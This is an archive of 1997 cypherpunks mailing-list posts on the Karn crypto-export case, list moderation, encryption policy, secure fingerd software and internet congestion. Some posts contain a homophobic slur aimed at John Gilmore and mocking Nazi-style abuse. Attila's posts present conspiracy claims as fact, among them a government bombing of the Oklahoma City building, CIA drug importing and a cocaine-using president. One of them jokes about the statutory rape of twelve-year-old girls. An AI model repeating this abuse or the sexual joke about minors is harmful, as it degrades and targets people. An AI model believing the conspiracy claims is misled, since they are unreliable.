To: cypherpunks@toad.com
Subject: Re: Decision in Karn Case
In-Reply-To: <199701230056.QAA02134@toad.com>
Message-ID: <199701230501.AAA23419@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


> http://www.epic.org/crypto/export_controls/karn_decision_1_97.html
> [...]
>     In light of the recent Executive Order transferring
> regulatory authority of non-military cryptographic computer
> source code to the Commerce Department, and the Commerce
> Department's promulgation of a new regulation under the authority
> of the International Emergency Economic Powers Act, 50 U.S.C. secs.
> 1701 et seq., we remand this case to the district court to
> consider the reviewability of and, if appropriate, the merits of
> appellant's claim under the Administrative Procedure Act.

And when that review finally reaches the appeals court,
the administration can move the regulations to the state department.

The uniqueness of the anti-crypto regulations is that it is a law
against intellectuals and academics. These people will not be willing to
break the law and then challenge its constitutionality in the courts,
or engage in any kind of civil disobedience demonstration. The author
of premail, for example, is doing a weird kind of civil *obedience*
demonstration to protect the laws. As long as that continues the
government can get away with playing their shell game.

By the way, what exactly happend to D.J. Bernstein's and the EFF's
threat to seek an injunction from Judge Patel if the new regulations
were not put on hold subject to constitutional review by January 2?
No updates at www.eff.org. Did EFF strike another deal with the
government?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 23 Jan 1997 19:14:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Decision in Karn Case
In-Reply-To: <199701230501.AAA23419@dhp.com>
Message-ID: <L2Xy1D122w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (Anonymous) writes:
> By the way, what exactly happend to D.J. Bernstein's and the EFF's
> threat to seek an injunction from Judge Patel if the new regulations
> were not put on hold subject to constitutional review by January 2?
> No updates at www.eff.org. Did EFF strike another deal with the
> government?

EFF is a bunch of prostitutes, headed by the homosexual fascist Gilmore.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 22 Jan 1997 22:38:46 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <32E70250.7D91@gte.net>
Message-ID: <199701230633.AAA00525@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> hjk wrote:
> > On Mon, 20 Jan 1997, Dale Thorn wrote:
> > > hjk wrote:
> 
> > > Now whatever you think of your fellow citizens, or even those of the
> > > USA (to name an example), I'm sure is OK on whatever basis you apply
> > > your judgement.  But I guarantee you that the people on the cypherpunks
> > > list are no more or less intelligent than the people who vegetate in
> > > front of their TV sets every day, right there where you live, in all
> > > probability. If you believe that your fellow citizens vote intelligently,
> > > then I respond that cypherpunks vote intelligently.  What do you think?
> 
> > Well, I thought cypherpunks claim to be elite.
> 
> Most of the erstwhile elite types do the ordinary things in a quite
> ordinary way.  Get dressed, eat, collect and send e-mail, and so on.
> 
> The un-ordinary things (for example) are the thought processes which
> take place while typing out a post.  Those thought processes don't
> generally intersect directly with the mundane things such as operating
> the computer, unless the operations themselves are unusual and demand
> the full attention of the person involved.
> 

So what?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Wed, 22 Jan 1997 21:42:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Commerce Sec. Hearings and Encryption
Message-ID: <199701230533.AAA13403@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


I have been watching the confirmation hearings for William Daley,
and I was amazed at the number of references in the questioning
to encryption. I have been watching confirmation hearings for a long
time and have never noticed this much attention being placed on such
a (formerly?) obscure topic.

It appears that encryption is definitely a big blip on the
governmental radar screen now, although whether this is a good
thing or a bad thing is definitely a debatable question. It's
interesting to me that all this interest is coming up in a
confirmation hearing for a *commerce* secretary. Maybe the
commercial aspects of encryption can have a positive impact
on the current restrictions; privacy rights certainly haven't had
any impact.

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pal@king.cts.com
Date: Fri, 24 Jan 1997 14:59:37 -0800 (PST)
To: pal2@cts.com
Subject: Extra Income
Message-ID: <199701241240.EAA12093@mh1.CTS.COM>
MIME-Version: 1.0
Content-Type: text/plain


***********************************************************************
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 22 Jan 1997 23:19:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: encrypted WinTalk/e-mails
Message-ID: <TCPSMTP.17.1.23.2.24.14.2780269260.1479676@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

does anybody know about an encrypting snoop-proof version of WinTalk
(or a similar ytalk-style program)?
If so, please copy replies to my private e-mail, for I am currently
not subscribed to the CP list...

Thanks in advance for your help...

Harka

PS: Here is also a collection of free (anonymous?) e-mail account
services for those, who are interested...(sorry about the
html-tags).

 <li>NetForward 
 <li>HoTMaiL 
 <li>Trale 
 <li>WWDG Free Email 
 <li>MailMasher 
 <li>StarMail  Over 100 domains to
  choose from!!
 <li>iName  Over 100 domains to choose
  from!!
 <li>Geocities 
 <li>Juno 
 <li>Net@ddress 
 <li>Bigfoot 
 <li>MailHost 
 <li>POBox 
 <li>POBoxes 
 <li>PEmail 
 <li>La Jolla Shores 
 <li>From.Net 


/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMuRqMTltEBIEF0MBAQEKygf+KQEkQE/yH10cgly1aIJExAX+p2kPmcPb
f/ro2ulaYrs4gklKff60HE0AD39SBmTGnCI4dUzOLy0UfgTyifQ/W8H+1b1GU0Bb
UnFhvWCCc8KPOY6Kf4ZpdtdRsyJjqAKjyYthKAEIKmG/m/ZHI2uJ0+F1GYhtjyhO
IE5RrCImncjLW3uaXxnktzy4+jDeoQEXCVRm6muIZj/TPgTvzabkMzK5Udy0Nm1n
vjevvcAiA65PWnbAT+v+GNFPZq4bW//bEnzDYYXBD++QrC7bSGXe73iS2HbrVu3Y
gQg7pseOdbS5bkudhw/pqcTl5zvcdvGoQfnXZpbp4VviSwWs045vjg==
=jw27
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:14:39 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: greed and the internet
Message-ID: <199701230614.XAA06525@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    greed and the internet

        our network provider (MCI) has been gradually burying our T1 
    trunk and the effective feed has been reduced to 1200 baud from 
    1.56 Megabaud; that, and add 20 seconds to 5+ minutes of packet 
    hold, and it is now worthless. they claim they will have increased
    capacity, but there are no pressing big money commercial interests
    on this feeder --so when?  

        Problem is not just here --everywhere; the greedy commercial 
    bastards have oversold their network space intentionally as they 
    are bucking for per packet and timed usage charges which are 
    currently prohibited by the FCC and the state PUCs. The FCC is the 
    key since other than the local network, which is burdened with the 
    costs of the trunk, everything is regulated by the FCC which is 
    trying to totally eliminate the state PUCs in the 105th Congress,     
    Newt's mouth not withstanding.

        The FCC agreed to review the matter, capitulating to 
    big greed interests, which will make the Internet a rich man's 
    toy. $19.95/month plus access charges will increase to thousands 
    of dollars per month; slow networks make toast of the free hours 
    and overtime kills.  Without the creative input of the multitude, 
    there will be no content, so why have a net other than for 
    commercial purposes? suites the misinformation cabal just fine.

	Well, the FCC granted a reprieve --for the moment. but will
    come up again, and again, until it passes.

        The Internet will no no longer be the peoples net, and the 
    commercial greedies are establishing a faster, more secure 
    network with controlled access points; leaving the common man's 
    access in the mud, still paying the exorbitant rates on a pay 
    before play basis.  That, and it gives control of information to 
    the government --which, as we all know. is 'heavenly white' 
    -above sin.

        Universities are being bought off with the 'Internet II' 
    proposal which provides super trunks of over 600 Megabaud 
    capacity, a 400 times improvement. All of this feeds into five 
    stategically placed super-hubs where Uncle's shadow government can 
    monitor everything.

        The Internet was supposed to be our freedom: freedom of 
    information and government in the sunshine, but government is 
    proving it is still bigger, faster, and badder by using draconian 
    rules of illegal regulatory agencies. agencies which are usurping 
    rights limited to the legislative branch.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMubOW704kQrCC2kFAQE0gQQAxrkUhyX5wl+dZ/i6ajMJXAD7f+gpvc6Z
CBik+g62RqWrMbOblfLRubhEIWUfK2FQxIBRJ+0cQezCH4IfM1CxbytJ4Cx3BBBs
GwHGuhTfLnGVnuCAugguRdNUrd/tXaN47pAVqmg330XvLlTJqha8ODPsi2b+7qst
2z8qbOW0cqo=
=M9c5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 23 Jan 1997 00:15:55 -0800 (PST)
To: toto@sk.sympatico.ca (Toto)
Subject: Re: fingerd
In-Reply-To: <199701212026.MAA11261@toad.com>
Message-ID: <199701230833.CAA03632@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> > Couple of things you can do:
> >     2.  Install a more secure "fingerd" such that it only
> >         allows "finger `userid@node.domain`" instead of
> >         "finger `@node.domain`".
> > While I've seen #2 in action, I don't know where to go to snarf it.  I just
> > use #1.
>   Anyone know where to 'snarf it'?

    cfingerd can be gotten from:

    ftp.bitgate.com/pub/cfingerd/pub/cfingerd
 -or-
    sunsite.unc.edu/pub/Linux/system/Network/finger

    There are a couple of other fingerd's in the sunsite directory. Cfinger
seemed to be the best last time I was looking for a fingerd.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:15:05 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Just another government fuckover: New crypto regulations
In-Reply-To: <9m4qZD23w165w@bwalk.dm.com>
Message-ID: <199701230614.XAA06559@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <9m4qZD23w165w@bwalk.dm.com>, on 12/30/96 
   at 08:07 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

::"Attila T. Hun" <attila@primenet.com> writes:

::>     books are and have been protected prior to the US Constitution.

::"Protected" in what sense? Copyright in a fairly recent invention.

        free speech, which is what we are talking about. supposedly 
    absolute freedom of speech in America was in the Articles of 
    Confederation and was a major point of the Declaration of 
    Independence.  free speach was an "intention" of the Magna Carta.

::>     the US Government has not been a legal government for years; it     
::>is a private club which can be bought, and its services sold to the     
::>highest bidder. It is a collection of whores who are part of a cabal
::>of the very rich and powerful; it is totally unaccountable to the
::>public it represents.  Waco, Ruby Ridge, and the bombing of their own
::>federal building in Oklahoma City in order to scare Joe Couch Potato
::>into giving up personal freedoms for security are perfect examples of
::>a government drunk on it owns powers. Just like Oswald, they have a
::>perfect patsy with the defendants in OKC.

::Like I said the other day, the similarities with the USSR under the 
::last few years of Brezhnev's life are striking.

        just a little bit too close, is it not?  The Kremlin then, and
    the Kremlin of Yeltsin also suffer the same malady: the personal
    expression of power. Gorbi will be remembered in history as not a
    great statesmen as he was initially hailed in the West, but as the
    'great concessionaire,' giving Russia's "imperial" power away. 
    Russia never had a communist government, it was a dictatorship
    somewhat tempered by the power of the apparati (which under Stalin
    was a joke); it just so happened they practiced the art of the
    commune in collective farming --except they stole the bulk of the
    communes' production.  Any concept of the commune ownership was
    fantasy. 

        but the bottom line with Brezhnev was the "drunk with power" of
    each of the petty fiefdoms.  Old Joe and Beria is a perfect example,
    except Joe took care of his problem promptly to prove the rule that
    'thou shall not covet thy boss...'<g>. 

        compare today in Russia: Lebed is a prime example. Even under
    Brezhnev he would have walked the one way tunnel. Fact is, it
    appears Lebed has been closer to the mark than the rest of the
    pompous fools; but that certainly has not helped if one considers
    Lebed would need to assume absolute power in order to clear the
    errant course of the Russian ship of state --absolute power corrupts
    absolutely. 

        the US has two or three power factors depending on your point of
    view. The visible US government with a totally corrupt and
    depiscable asshole at the helm --a sublimely and malignantly corrupt
    man installed as a puppet gone drunk on his cocaine power pack;  he
    thinks he has shaken his masters and his battle is to control the
    CIA and the rest of the hidden spook show.  Even his loyal puppy,
    John Deutsch, was unable to control the CIA, let alone the rest of
    the apparati.  The lame duck cabinet is more impotent than the last,
    who almost to a man jumped as rats from a sinking ship.  His thrust
    for power is masked in rhetoric of "for the good of the country" or
    "to protect the country from the evils of private speech which might
    be criminal or subversive" that we may all be free.  Is it
    coincidence free speech is the cornerstone of democracy? 

        So who does control the real apparati?  check behind the silent
    curtains of the dark drawing rooms; check behind the facade of US
    Department of State postings since WWII, and compare names with
    events and the social register and the rolls of Harvard, Yale, and
    Princeton; check the bunkers at Fort Meade and other places; check
    the shadows and the denials; particularly check the denials. 

        don't wast your time with the myriad of 'culprits' starting with
    the Bilderbergers, the CFR, the TLA, the Bavarian Illuminati, etc. 
    they are just drinking clubs of the power hungry united only by a
    common greed.  greed and absolute power as America careens into
    history and disenfranchisement. 

        is there then still a third force?  speculation?  fact! 
    avengers?  too little, too late?  hunted to the status of endangered
    species or even to extinction?  sacrificial lambs or goats for the
    alter of the temples of the doomed?  or saviours?

::>     books are an intellectual 'solution' to the problem. the real    
::>problem is the hardware. in order to negate governments and their    
::>virtually stated intentions of blocking our inalienable freedoms,    
::>particularly freedom of speach, we must be able to distribute     
::>universal crypto worldwide, and be able to improve it as the shadow      
::>governments of the various spook shows improve their ability to
::>break our code.

::Yes, but the impotent "cypher punks" can't write or distribute code. 
::They can only flame and rant and pull plugs.

        Ah, dimitri, my quasi-friend, my quasi-enemy, that is the
    question, is it not?  Can cypherpunks write code?  Some like to
    argue, and still can and do write code.  Others only pontificate; 
    and others lurk for the false rush of the ephemeral or fantastical
    power.
 
        dimitri, you've never been a lurker in your life; then why do
    you participate in cypherpunks if they are, to a [wo]man, nothing
    but wankers? (I guess that works for the gentle sex, too. no? <g>). 

        Ah, dimitri, you're secret is out. you are here to harangue!
 
::>     if you do not have the balls to do it, you are not for freedom.

::If you are a "cypher punk", you are not for freedom.

        No, no, no, dimitri.  Cypherpunks are absolute in their demands
    for freedom.  Most are making the choice to demand freedom while
    they play in the band and the Titanic sinks.  Shall their last song
    be "God Bless America" or "Nearer my Lord to Thee" --it's all the
    same is it not?  They, and the rest of the complacent Americans,
    will go down with the ship (as will the fighters without support). 

        Talk is cheap, dimitri.  Let's see a little action. 


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Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

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8xGPwVeW6KqOy667AnNnbjpxh+sYQBaWIeIPASr4jx2Z3y3J2uMkmOpysSN5k8CM
QK1D5JbIj1x0EteFHciLijlBHbqX7Hc+mg378LElsvC9StU8ZC0+aOLyt5qHnM+k
Achoxz4J7xE=
=GmbG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:14:48 -0800 (PST)
To: cypherpunks <toto@sk.sympatico.ca>
Subject: justice for cryptography, US style
Message-ID: <199701230614.XAA06539@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

        Looks to me like Carl needs to understand justice, U.S. federal 
    court style. In the first place: "ignorance is no excuse under the 
    law" -then: ask yourself why the U.S. continues the drug war when 
    it is obvious to the perverted, ignorant, and bought-off Congress- 
    person that it will never be won. the answer is simple: it's MONEY. 

        First, the government makes a fortune by importing drugs, which 
    they can use for unaccountable programs which are illegal under 
    law. The money is controlled by the CIA, administration, and the 
    power brokers in the deal which basically states it all; and, 
    secondly, there is money in imprisonment. Oh? so then ask yourself 
    why the federal prisons have tripled in size the last 10 years with 
    the dope wars.  coincidental?

        now, what does that have to do with crypto?  very simple: as 
    the US heads closer and closer to the UN Constitution under Bubba's 
    guidance with Hillary's hands on his balls, crypto can bypass 
    political thought control.  That will not be acceptable to those 
    who rule: in the US, or anywhere else.

        "Intimidation is just another form of communication."  (attila)

    and they have intimidated federal judges, and they are intimidating 
    federal judges, and they will continue to intimdate federal judges. 
    and, they will continue to feed the media what they want known.

        so, what does that have to do with it?

        a)  the federal government is disenfranchising felons with
            certain types of convictions, including drugs, and all
            offenses against the federal government --cryptography
            is an offense against the federal government since it
            falls under ITAR.

            do you know what disenfranchisement really means: well,
            start with fact you have lost your civil rights --ALL of 
            them. the man never needs a warrant to take you, anywhere. 
            anyplace, including your home without knocking --he has 
            automatic probable cause.

            all federal convictions of the type described carry a tail 
            --extended probation. in other words, a sadistic, sadonic, 
            and automatically suspicious federal civil servant OWNS 
            you. He can visit your employer; he can tell you exactly 
            how to run your business if you are self-employed; he can 
            tell you if you can move; he can tell you who you will see 
            or talk with; and if tells you to polish his apple, get on 
            your knees and smile while you labour. 

        b)  no vote --that is the principle meaning of franchise which 
            is defined as "suffrage."  you are history on that score 
            unless you manage to convince Bubba to grant you a federal 
            pardon.

        c)  the federal govenment, through one of their federal money 
            giveaways is forcing the criminal records onto the drivers' 
            license.  So far, no state has a check box on the sealed 
            photo ID, but they will, including a coded offense block.

        d)  now, the big credit bureaus, TRW, Equifax, etc. have added 
            the collection of data for traffic convictions; so far they 
            have not added either misdemeanor and felony >>arrests<< 
            and convictions to the _available_ information, but they 
            will.  Did you know that you can have a 3 or 4 page rap 
            sheet for a single arrest/offense/conviction by the time 
            they rewrite charges, which is common in, you guessed it: 
            dope cases, and propably will be in crypto cases as the 
            Federales discover more evidence (planted, decoded, 
            whatever?).

        e)  You know, I'm beginning to like Mississippi's statutory 
            rape laws better all the time.  The age is 18, as high it 
            goes in all 50 states --but it only applies if the minor 
            female is over 12 and can prove she is a virgin...  yeah, 
            right, where the only virgin over eight can run faster than 
            her brothers...

        e)  prisons are big business; and, government has undertaken a
            program of privatization of the prison system --in other 
            words, the big government oriented contractors, like SAIC 
            chaired by Bobby Inman, are planning to make a profit 
            housing government misjustice. do they like to make money?

            does this sound like slave labour to you? 

            sounds like government 'letting' of business. P.J. O'Rourke 
            has the definitive result of that:   
   
                "When buying and selling are controlled by legislation, 
                the first things to be bought and sold are legislators"  

        well, I'm too old for the civil disobedience game or deliberately begging the law; I do not wish to head for the 3 hots ad a cot of federal hospitality wearing more years than I can carry. 

        but you'd better believe and if you wish to even try to beat 
    the government back, don't think you have any rights in America.  Just remember Judge Roy Bean is sitting in his large $1,500-2,000 comforatable chair about a meter above you, smiling down on you as you sit in the hard, cold, flimsy chair of the dock, after our esteemed judge got drunk last night with his cronies.  

After all, Judge Roy, who's only human, suffers from an inferiority complex, and needs a power rush. And after this poor excuse for a human lays 3 fives running wild (15) and 6 tail on you, try smiling at the judge; then say: "thank you your honor, but you're just another fuckin' drunk." 

  == <attila out>

    ====== ORIGINAL MESSAGE ======

In <32C27B88.558@sk.sympatico.ca>, on 12/26/96 
   at 05:20 AM, Carl Johnson <toto@sk.sympatico.ca> said:

::jim bell wrote:
::> 
::> However, if being "on the Internet" is automatically presumed to be 
::> an export, why can't we program using remote-control editors which 
::> might, someday, be available on the Internet? 

::  If I wanted to export an unexportable program, I would put it on my 
::  machine as 'happyface.zip', and then make sure that everybody 
::  spread the word that it was available under that title.  I don't 
::  believe there is a prosecutor alive that can convince a jury of
::  twelve mostly non-technically oriented people that someone should 
::  be put in prison for not knowing the content of every single 
::  non-text file on their machine.

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Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

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4hJo3N7U5ITscNeks8IbClzl8UNkoKaW5UH0bQlL6EaU7AvmmB15g6nQ4C59rBos
l2AQiOZZtwU=
=QJSj
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 01:51:57 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701230140.TAA08628@einstein>
Message-ID: <32E74461.7431@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> > Subject: Re: Fighting the cybercensor. (fwd)

> > > 'We' shouldn't, it is their own country and it is up to their populace to
> > > stop it.
> >   And Germany was Hitler and the Nazi Party's own country.
> And your point is? Are you equating a specific individual or organization
> with Hitler or the National Socialist?

  Sorry, I forgot that people who work well with numbers often aren't as
good at working with concepts.  I'll write slowly.
  I'm equating 'any' country where individuals take and keep power over 
it's citizen by illicit and/or dehumanizing means with Nazism and 
Fascism.

> If the people in those counties want to give away their freedom that
> is their business (and right), not mine, yours, or this countries unless
> there is evidence they are trying to take their views and impose them here.

  Right. And if someone 'chooses' to give their money to a thief with
a gun, then it is not the business of other people, or the police.
  I would hate to interfere with someones 'right' to get robbed,
raped, or murdered.
  
> In reference to Hitler, had he stayed in his own
> country WWII and the ensuing half century of conflict would most likely not
> have occured.

  But according to your viewpoint, countries he had not invaded had no
right to 'help' those he conquered.
  Perhaps Hitler was merely the Dr. Vulis of isolationism.  The 
isolationists' claims that the affairs of other countries were not
our affairs changed rather rapidly when it became apparent that they
had better either get their heads out of their butts, or learn to
speak German.

> I say, let them filter themselves into economic collapse, intellectual
> nihilism, and political suicide. Suicide, assissted or otherwise, is a right
> any and all individuals have whether acting as individuals or as groups.

  It seems that several million Jews got 'filtered' into 'nihilism'
during the Second World War while the isolationists were busy not
interfering with the rights of individuals in other nations to
commit 'suicide' at the hands of the Nazis.

> Never forget, a tree can exist without a forest but a forest can not exist
> without trees. It is a one way street however much some people may want to
> convince us otherwise.

  Never forget.  A forest can apparently exist without Jewish trees. 

> If those people agree to support a system that limits or controls what
> information they get to see that is their choice. It didn't work in Russia
> and it won't work in Singapore or China any better.

  There are a lot of people lying in graves around the world who might
suggest that perhaps they didn't support the system that limited,
controlled, and murdered them. They might also argue that it 'did'
work in many countries, for many years.

> >   No. The internet was conceived so that the DOD could monitor the
> > communications
> > of physicists and researchers who thought it was awfully nice of the
> > government
> > to provide this wonderful method of sharing data and information.
> 
> The original goal
> of the Internet was to allow computers to be connected in a nuclear conflict
> and the period afterward when communications would be most critical.

  I believe you mean the 'stated' original goal of the InterNet.
(Similar
to the 'stated' goal of crypto regulations.)
  A series of manuscripts entitled "The True Story of the InterNet"
expose
the shadowy faces behind the facade of the InterNet, and the plans,
during
its very inception, for it to become part of the underlying fabric of 
everyday life, internationally. They were almost considered to be
sci-fiction at the time they were written, because the InterNet, at the
time was just a smallish, specialized, technical entity at the time.
  The claims they made for the InterNet being foreordained to become 
almost exactly what it is now becoming were written off as ludicrous.

 
> One of the biggest problems this country has right now is the inability of
> people like yourself to differentiate the difference between the ideals of
> the country and the people who impliment it.

  You seem to have very strong feelings about people who think
differently
from yourself being a 'big problem'. 

> The problem is not the
> government or the ideals it was founded on but rather the way we impliment
> it.

  The battle cry of every apologist for every corrupt or jackboot regime 
that has ever existed on earth.
  Why do I never hear this view from anyone who is being censored,
persecuted,
or who can hear the jackboots thumping against their own door or their 
neighbor's door?  It always seems to come from someone who is getting
their
piece of the pie and is worried that it might end.

> Our government is people, who put their pants on the same way you or I
> do (assuming you wear pants that is). They are not inherently some mineon of
> Hell, they are people who in general either don't give a damn and it's just
> a job or else they really believe what they are doing.

  You might try reading something other than 'Life' magazines from the
1950's
if you want to get a little better picture of how our government really
operates.

> Accept and deal with your schizophrenic tendencies and help solve this
> national problem we face. Let's try to solve it now so that our
> grandchildren won't have to fight this fight again.

  I'm already working toward solving the problems that I see, in other 
countries as well as this one.  The people behind the Iron Curtain have
never seemed to have any problem with me risking my life and liberty 
making prohibited information available to them.


   "I can hear the rumbling of the trucks as they come up the street, 
and soon I will be hearing the thumping of the jackboots storming up 
the staircase, as I have heard them so many times before.  But I 
suspect that, this time, the sound will be different, that it will 
have an ethereal quality about it, one which conveys greater personal 
meaning than it did when I heard it on previous occasions.
   "This time, they are coming for me."

   "My only hope, is that I can find the strength of character somewhere 
inside myself to ask the question which lies at the heart of why there 
is a 'they' to come for me at all...why, in the end, it has finally 
come to this for me, as for countless others.
   "The question is, in retrospect, as simple and basic as it is 
essential for any who still espouse the concepts of freedom and 
liberty to ask themselves upon finding themselves marveling at 
the outrageousness being perpetrated upon their neighbors by 
'them'...by 'others'...by 'Friends of the Destroyer.'
   "The question is...'Why didn't "I" do something?'"

      A quote from the personal diary of Vice-Admiral B. D'Shauneaux,
      from the Prologue to Part II of 'The True Story of the InterNet'

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 01:53:13 -0800 (PST)
To: wb8foz@nrk.com
Subject: Re: Manila says ID system not prelude to martial law (fwd)
In-Reply-To: <199701222143.QAA21639@wauug.erols.com>
Message-ID: <32E7496B.7B07@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


David Lesher / hated by RBOC's in 5 states didn't write:
> Reuters sez:
> Message-ID: <Rcypherpunks-cardUR8Au_7JF@clari.net>
> 
>  CYBERSPACE, Dec 15 (Reuter) - CypherPunk list owner
> John Gilmore, on Wednesday, dismissed as baseless fears that his
> forced unsubscribing of Dr. Vulis was a prelude to censorship.
> 
>   ``That is a wild opinion without any basis in fact,'' Gilmore
> told his weekly news conference after Dr. Vulis, the
> outspoken Archbishop of CyberSpace, accused him of being an
> authoritarian dictator.
> 
>   Officials have said a moderated-list system  would make it 
> easier for people to transact business with the list
> and minimise fraud.
>  ``That's all there is to it ... (its) very simple,'' Gilmore
> said.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 05:43:23 -0800 (PST)
To: Anonymous <lucifer@dhp.com>
Subject: Re: Decision in Karn Case
In-Reply-To: <199701230056.QAA02134@toad.com>
Message-ID: <32E75F2A.5E79@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> >     In light of the recent Executive Order transferring
> > regulatory authority of non-military cryptographic computer
> > source code to the Commerce Department, and the Commerce
> > Department's promulgation of a new regulation under the authority
> > of the International Emergency Economic Powers Act, 50 U.S.C. secs.
> > 1701 et seq., we remand this case to the district court to
> > consider the reviewability of and, if appropriate, the merits of
> > appellant's claim under the Administrative Procedure Act.
> 
> And when that review finally reaches the appeals court,
> the administration can move the regulations to the state department.

  Look on the bright side. Maybe they'll move them around so much that
they'll lose them.
 
> The uniqueness of the anti-crypto regulations is that it is a law
> against intellectuals and academics. These people will not be willing to
> break the law and then challenge its constitutionality in the courts,
> or engage in any kind of civil disobedience demonstration.

  That is why the thugs and the brown-shirts always start by attacking
scattered individuals and those they can easily brand 'troublemakers.'
(Only in rare instances, do they start with Doctors).
  The intellectuals and academics might, at best, utter a few tut-tut's,
and by the time that the rule of force has become the order of the day,
there is no longer anyone 'below' them left free to object to the
attacks 
on themselves.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Wed, 22 Jan 1997 21:50:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor.
Message-ID: <19970123045730.8356.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


>From cypherpunks-errors@toad.com Wed Jan 22 18:19:14 1997
>Dr.Dimitri Vulis KOTM writes:
>
>> >From cypherpunks-errors@toad.com Tue Jan 21 16:57:46 1997

>
>Alles Kriticismus auf der Listfuehrer Gilmore und Obercensor Sandfart
>ist stricklich verbotten.  Heil Kocksucker Gilmore!

Otto Says:

Kalifornia UberAlles!


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 05:44:35 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: greed and the internet
In-Reply-To: <199701230614.XAA06525@infowest.com>
Message-ID: <32E76F54.6388@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
>     greed and the internet
> 
>         Problem is not just here --everywhere; the greedy commercial
>     bastards have oversold their network space intentionally as they
>     are bucking for per packet and timed usage charges which are
>     currently prohibited by the FCC and the state PUCs.

  Say, this couldn't be the old lets-create-a-problem-by-virtue-of-
our-own-greed-and-incompetence-and-then-use-it-as-proof-for-need-
of-more-legislation-and-create-expenses-that-the-little-guys-can't-
handle 'trick', would it?

>      slow networks make toast of the free hours
